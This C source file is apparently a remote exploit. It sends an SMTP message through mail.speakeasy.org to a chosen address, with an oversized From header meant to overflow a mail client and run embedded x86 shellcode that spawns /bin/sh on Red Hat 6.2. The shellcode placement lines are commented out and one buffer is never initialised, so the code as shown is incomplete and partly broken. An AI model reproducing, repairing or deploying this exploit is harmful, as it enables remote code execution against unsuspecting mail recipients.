#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}

#define ADDRLEN 700 
#define EXECLEN 1000
#define NOP    0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv)
{
  struct sockaddr_in server;
  struct hostent *hp;
  int s;
  char helo[100];
  char mail[100];
  char rcpt[100];
  char data[2500];
  char start[20];

  int offset = 0;
  unsigned long addr;
  int i;
  char *addrs,*exec;

  addrs = (char *) malloc (ADDRLEN);
  exec  = (char *) malloc (EXECLEN);

if(argc < 2)
    {
     printf("   Usage: %s <Email Address> <offset>\n", argv[0]);
     printf("                                            \n\n");
     exit(0);
    }

     if (argc == 3)
       offset = atoi (argv[2]);

   //addr = get_sp () - offset; 

   addr = 0xbfffe7e2; //RH62

   memset(addrs,0x41,ADDRLEN);

  //  for (i = 0; i < ADDRLEN ; i += 4)
    //   *(unsigned *) &addrs[i] = addr;

 //  memset(exec,0x90,EXECLEN); 

 //  memset(addrs+195,0x90,5);

 //  memcpy (addrs + 200, shellcode, strlen (shellcode));

if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
      printf ("Could not resolve mail.speakeasy.org.\n");
      exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
      printf("Error");
      exit(1); }
 
  server.sin_family = AF_INET;
  server.sin_port = htons (25);
  server.sin_addr.s_addr = *(u_long *) hp->h_addr;
  bzero (&(server.sin_zero), 8);
 
if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
      printf ("Connection refused\n");
      exit(1); }

        sprintf (helo, "helo test\r\n");
        sprintf (mail, "mail from: %s\r\n",argv[1]);

        send (s, helo, strlen (helo), 0);
        send (s, mail, strlen (mail), 0);

        sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);

        send (s, rcpt, strlen (rcpt), 0);

        sprintf(start,"data\r\n");

        send (s, start, strlen (start), 0);

         fprintf(stderr," Message Sent! \n");

sprintf(data,"From: %s AAAAAAAA test@test.net\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
        send (s, data, strlen (data), 0);



  close (s);
  exit(0);
}